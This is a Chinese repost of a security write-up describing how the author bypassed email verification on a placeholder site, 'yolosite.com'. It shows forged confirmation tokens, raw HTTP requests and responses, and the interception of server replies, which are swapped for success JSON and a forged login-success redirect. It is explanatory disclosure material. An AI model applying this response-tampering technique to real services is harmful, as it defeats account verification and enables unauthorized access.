内容简介:####当我们输入完所需的信息(姓名、电子邮件)之后,通常服务器将发送验证邮件到邮箱当中,其中验证邮件的结构如下所示:[*]下面的事响应信息[*]下面的事响应信息
实施电子邮件验证机制是很容易出错的,验证中的轻微错误就可能导致严重的安全问题或漏洞,下面我将介绍一个相关的案例。
####当我们输入完所需的信息(姓名、电子邮件)之后,通常服务器将发送验证邮件到邮箱当中,其中验证邮件的结构如下所示:
https://yolosite.com/#/register/confirm/6135fbbf3e52effa1a04c6fcf7e1dd426f2cdf36803f413481b62e2803b52dad
访问该链接将更多的信息,例如信用卡信息等。更改token的值将导致链接无效,正常访问之后的响应如下:
HTTP/1.1 200 OK Content-Type: application/json Access-Control-Allow-Origin: * Access-Control-Allow-Credentials: true Access-Control-Max-Age: 1000 Access-Control-Allow-Methods: POST, GET, OPTIONS, DELETE, PUT Access-Control-Allow-Headers: Cache-Control, If-Modified-Since, X-Requested-With, {"response": {"status":"success","externalID":null,"errors":[]}}
但是如果token被篡改之后(更改了第一个和最后一个值),响应如下:
HTTP/1.1 200 OK Content-Type: application/json Access-Control-Allow-Origin: * Access-Control-Allow-Credentials: true Access-Control-Max-Age: 1000 Access-Control-Allow-Methods: POST, GET, OPTIONS, DELETE, PUT Access-Control-Allow-Headers: Cache-Control, If-Modified-Since, X-Requested-With, {"response":{"status":"failure","externalID":"7135fbbf3e52effa1a04c6fcf7e1dd426f2cdf36803f413481b62e2803b52dae","errors":[{"code":"1210","message":"Confirmation link is invalid"}]},"userStatus":null}
最初我认为这可能是因为tokent只有一部分正确造成的结果,所以我决定用一个完全随机的token,下面是我伪造的链接和响应:
https://yolosite.com/#/register/confirm/xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx
[*]下面的事响应信息
HTTP/1.1 200 OK Content-Type: application/json Access-Control-Allow-Origin: * Access-Control-Allow-Credentials: true Access-Control-Max-Age: 1000 Access-Control-Allow-Methods: POST, GET, OPTIONS, DELETE, PUT Access-Control-Allow-Headers: Cache-Control, If-Modified-Since, X-Requested-With Connection: close Set-Cookie: Cookies here; {"response":{"status":"failure","externalID":"xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx","errors":[{"code":"1211","message":"User not associated with this external id"}]},"userStatus":null}
我再次尝试伪造链接,但是这次我决定拦截响应信息,并且使用上面成功的JSON替换响应信息
{"response":{"status":"success","externalID":null,"errors":[]}}
我被要求输入信用卡信息,这不是唯一需要被绕过的点。事实证明,防御机制仅基于JSON响应,并别没有进行服务端验证。但是再进一步尝试输入信用卡信息并点击完成注册后,我们会发送如下请求,并且得到响应:
POST /rest/services/public/register/full HTTP/1.1 Host: yolosite.com Connection: close {"externalId":"xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx","locale":"en_IT","fullRegFields":{"card-alias-name-0":"Card-Name","card-numbers-0":"card-number","expiry-month-0":"MONTH","expiry-year-0":"2019","cvc-0":"cvc"}}
[*]下面的事响应信息
HTTP/1.1 400 Bad Request Content-Type: application/json Access-Control-Allow-Origin: * Access-Control-Allow-Credentials: true Access-Control-Max-Age: 1000 Access-Control-Allow-Methods: POST, GET, OPTIONS, DELETE, PUT Access-Control-Allow-Headers: Cache-Control, If-Modified-Since, X-Requested-With Connection: close Set-Cookie: Cookies here; {"status":"error","externalID":"","errors":[{"code":"0000","message":"An internal server error occurred"}]}
似乎此时服务端才会真正校验token。尽管如此,我还是决定再次伪造响应,正常请求的响应信息如下
HTTP/1.1 200 OK Content-Type: application/json Access-Control-Allow-Origin: * Access-Control-Allow-Credentials: true Access-Control-Max-Age: 1000 Access-Control-Allow-Methods: POST, GET, OPTIONS, DELETE, PUT Access-Control-Allow-Headers: Cache-Control, If-Modified-Since, X-Requested-With Connection: close Set-Cookie: Cookies here; {"response":{"status":"success","externalID":null,"errors":[]}}
一旦上述请求被转发,我就会被传送到登录页面。但是最终并没有像我期望的那样会登录上去,我决定再做进一步调查
当验证后的用户尝试登录时,下面是请求信息
POST /pkmslogin.form HTTP/1.1 Host: yolosite.com Connection: close Content-Type: application/x-www-form-urlencoded username=username-here&password=Password-here&login-form-type=pwd
[*]下面的事响应信息
HTTP/1.1 302 Moved Temporarily Content-Length: 1770 Content-Type: text/html Location: https://yolosite.com/rest/services/public/lrr?TAM_OP=login_success&USERNAME=USERNAME-HERE&ERROR_CODE=0x38cf05e7&ERROR_TEXT=DPWWA1511I%20%20%20Login%20successful&URL=%2Fpkmslogin.form&REFERER=https%3A%2F%2Fyolosite.com%2Fwfp%2Fen-it.htm&HOSTNAME=yolosite.com&AUTHNLEVEL= p3p: CP="NON CUR OTPi OUR NOR UNI" Cache-Control: no-cache Pragma: no-cache Date: Sun, 04 Nov 2018 08:36:33 GMT Connection: close Set-Cookie: Cookies-here; <html> <P><A HREF="https://yolosite.com/rest/services/public/lrr?TAM_OP=login_success&USERNAME=USERNAMEHERE&ERROR_CODE=0x38cf05e7&ERROR_TEXT=DPWWA1511I%20%20%20Login%20successful&URL=%2Fpkmslogin.form&REFERER=https%3A%2F%2Fyolosite.com%2Fwfp%2Fen-it.html&HOSTNAME=yolosite.com&AUTHNLEVEL=">Click here</A> to fetch the resource. </html>
然后我尝试使用未经验证的账号,以下是响应信息
HTTP/1.1 302 Moved Temporarily Content-Length: 1811 Content-Type: text/html Location: https://yolosite.com/rest/services/public/lrr?TAM_OP=help&USERNAME=USERNAMEHERE&ERROR_CODE=0x13212079&ERROR_TEXT=HPDIA0121W%20%20%20The%20requested%20operation%20is%20not%20valid.&URL=%2Fpkmslogin.form&REFERER=https%3A%2F%2Fyolosite.com%2Fwfp%2Fen-it.html&HOSTNAME=yolosite.com&AUTHNLEVEL= Connection: close Set-Cookie: Cookies-here; <html> <P><A HREF="https://yolosite.com/rest/services/public/lrr?TAM_OP=help&USERNAME=USERNAMEHERE&ERROR_CODE=0x13212079&ERROR_TEXT=HPDIA0121W%20%20%20The%20requested%20operation%20is%20not%20valid.&URL=%2Fpkmslogin.form&REFERER=https%3A%2F%2Fyolosite.com%2Fwfp%2Fen-it.html&HOSTNAME=yolosite.com&AUTHNLEVEL=">Click here</A> to fetch the resource. </html>
现在我再次篡改了上述响应信息
HTTP/1.1 302 Moved Temporarily Content-Length: 1770 Content-Type: text/html Location: https://yolosite.com/rest/services/public/lrr?TAM_OP=login_success&USERNAME=USERNAME-HERE&ERROR_CODE=0x38cf05e7&ERROR_TEXT=DPWWA1511I%20%20%20Login%20successful&URL=%2Fpkmslogin.form&REFERER=https%3A%2F%2Fyolosite.com%2Fwfp%2Fen-it.htm&HOSTNAME=yolosite.com&AUTHNLEVEL= p3p: CP="NON CUR OTPi OUR NOR UNI" Cache-Control: no-cache Pragma: no-cache Date: Sun, 04 Nov 2018 08:36:33 GMT Connection: close Set-Cookie: Cookies-here; <html> <P><A HREF="https://yolosite.com/rest/services/public/lrr?TAM_OP=login_success&USERNAME=USERNAMEHERE&ERROR_CODE=0x38cf05e7&ERROR_TEXT=DPWWA1511I%20%20%20Login%20successful&URL=%2Fpkmslogin.form&REFERER=https%3A%2F%2Fyolosite.com%2Fwfp%2Fen-it.html&HOSTNAME=yolosite.com&AUTHNLEVEL=">Click here</A> to fetch the resource. </html>
以上所述就是小编给大家介绍的《第十九篇:绕过邮件验证》,希望对大家有所帮助,如果大家有任何疑问请给我留言,小编会及时回复大家的。在此也非常感谢大家对 码农网 的支持!
猜你喜欢:- Shiro身份验证绕过漏洞(CVE-2020-11989)细节
- NodeJS应用程序身份验证绕过漏洞分析
- ruby-on-rails – 在仅数据迁移期间绕过验证以修复验证错误
- libssh CVE-2018-10933 身份验证绕过漏洞分析报告
- 看我如何绕过 iPhone XS 中指针验证机制 (上)
- 看我如何绕过 iPhone XS 中指针验证机制(下)
本站部分资源来源于网络,本站转载出于传递更多信息之目的,版权归原作者或者来源机构所有,如转载稿涉及版权问题,请联系我们。
编译原理
Alfred V.Aho、Jeffrey D.Ullman、Ravi Sethi / 李建中 / 机械工业出版社 / 2003-8 / 55.00元
《编译原理》作者Alfred V.Aho、Ravi Sethi和Jeffrey D.Ullman是世界著名的计算机 科学家,他们在计算机科学理论、数据库等很多领域都做出了杰出贡献。《编译原理》 是编译领域无可替代的经典著作,被广大计算机专业人士誉为“龙书”。《编译原理》一 直被世界各地的著名高等院校和科研机构(如贝尔实验室、哥伦比亚大学、普 林斯顿大学和斯坦福大学等)广泛用作本科生和研究生编译原理......一起来看看 《编译原理》 这本书的介绍吧!